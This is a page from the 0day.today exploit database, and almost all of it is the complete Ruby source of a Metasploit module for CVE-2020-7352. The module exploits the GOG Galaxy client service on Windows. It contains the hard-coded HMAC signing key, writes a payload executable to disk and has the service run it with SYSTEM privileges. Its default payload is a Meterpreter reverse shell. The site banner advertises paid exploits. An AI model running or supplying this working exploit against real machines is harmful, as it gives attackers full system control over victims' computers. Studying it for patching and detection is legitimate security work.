0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
GOG GalaxyClientService Privilege Escalation Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/windows/services' require 'openssl' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Services include Msf::Post::Windows::Priv include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'GOG GalaxyClientService Privilege Escalation', 'Description' => %q{ This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are also likely affected). }, 'License' => MSF_LICENSE, 'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>' ], 'Platform' => [ 'win' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }, 'Type' => :dropper ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 28 2020', 'References' => [ ['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'], ['CVE', '2020-7352'] ], 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] } ) ) register_options( [ OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]), OptString.new('WORKING_DIR', [true, 'The initial working directory of the file_path', 'C:\\']) ] ) end def check log_path = expand_path('%PROGRAMDATA%\\GOG.com\\Galaxy\\logs\\GalaxyClientService.log') service_path = expand_path('%PROGRAMFILES(x86)%\\GOG Galaxy\\GalaxyClientService.exe') return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path) return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path) log_data = read_file(log_path) unless log_data && /Application\s+version:\s+(?<ver_no>\d+\.\d+\.\d+\.\d*\.*)/ =~ log_data return CheckCode::Detected('Unable to determine version from log file') end return CheckCode::Detected('Galaxy Client version not found') unless ver_no version = Gem::Version.new(ver_no) return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13') CheckCode::Detected("Galaxy Client version #{ver_no} not vulnerable") end def exploit fail_with(Failure::None, 'Already running as SYSTEM') if is_system? fail_with(Failure::None, 'Session type must be Meterpreter session') unless session.type == 'meterpreter' # The HMAC-SHA512 key for signing file_paths. key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f" key << "\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb" key << "\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c" key << "\x14\x46\x44\x6f\x9d\x8d\xfd\x67\x8e\xc6\xd4" key << "\x0c\x38\x20\xcb\x9a\x29\xb5\x2f\x5d\xb2\xfd" key << "\xb6\xf8\x0f\xf9\x5b\xf8\x50\xaa\x5d" # Start the GalaxyClientService. It will automatically terminate after ~10 # seconds of inactivity, so we don't need to bother shutting it down later. print_status('Starting GalaxyClientService...') ret = service_start('GalaxyClientService') if ret == 0 print_status('Service started successfully.') elsif (ret == 1056) || (ret == 1) print_warning('Service already running. If the file_path execution fails, try it again in 15 seconds or so.') else print_status("Service status unknown (return code: #{ret}). Continuing anyway...") end print_status('Connecting to service...') # Create a TCP socket. handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP') s = handler['return'] # Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO). # This only affects the recv(), not connect(). handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4) # Set the socket address structure to localhost:9978. sock_addr = "\x02\x00" sock_addr << [9978].pack('n') sock_addr << Rex::Socket.addr_aton('127.0.0.1') sock_addr << "\x00" * 8 # Connect to the service. Retry up to 3 times, waiting 2 seconds in # between. connected = false retries = 0 while (retries < 3) && (connected == false) retries += 1 handler = client.railgun.ws2_32.connect(s, sock_addr, 16) if handler['GetLastError'] == 0 connected = true else print_warning('Connection failed. Waiting 2 seconds and trying again...') Rex.sleep(2) end end fail_with(Failure::Unreachable, 'Failed to connect to service') unless connected data = build_payload(key) print_status('Connected to service. Sending payload...') # Here, we are calling client.railgun.ws2_32.send(). However, there's a bug # somewhere in the railgun system such that send() is never called. It # seems that some mystery code is intercepting send() instead of letting it # get to LibraryWrapper.method_missing() (perhaps 'send' is a special case # somewhere? The other ws2_32 functions work just fine...). To work around # this problem, we will simply call it directly with call_function(). send_func = client.railgun.ws2_32.functions['send'] client.railgun.ws2_32._library.call_function(send_func, [s, data, data.length, 0], client) # Read the server's response. On error, it returns nothing. response = "\x00" * 512 handler = client.railgun.ws2_32.recv(s, response, response.length, 0) # Convert the unsigned return value to a signed value. ret = [handler['return'].to_i].pack('l').unpack1('l') if ret <= 0 print_error("Failed to read response from service (return value from recv(): #{ret}). This probably means the exploit failed. :(") else print_good('Command executed successfully!') end client.railgun.ws2_32.closesocket(s) end def build_payload(key) working_dir = datastore['WORKING_DIR'] header1 = "\x00\x93\x08\x04\x10\x01\x18" header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01" payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe" file_path = expand_path("#{datastore['PATH']}\\#{payload_name}") payload_data = generate_payload_exe print_status("Writing #{file_path} to target") write_file(file_path, payload_data) register_file_for_cleanup(file_path) gog_cmd = "\n#{file_path.length.chr}#{file_path}\x12" gog_cmd += "#{(file_path.length + 4).chr}\"#{file_path}\" \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01" payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd) header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd end end # 0day.today [2024-11-16] #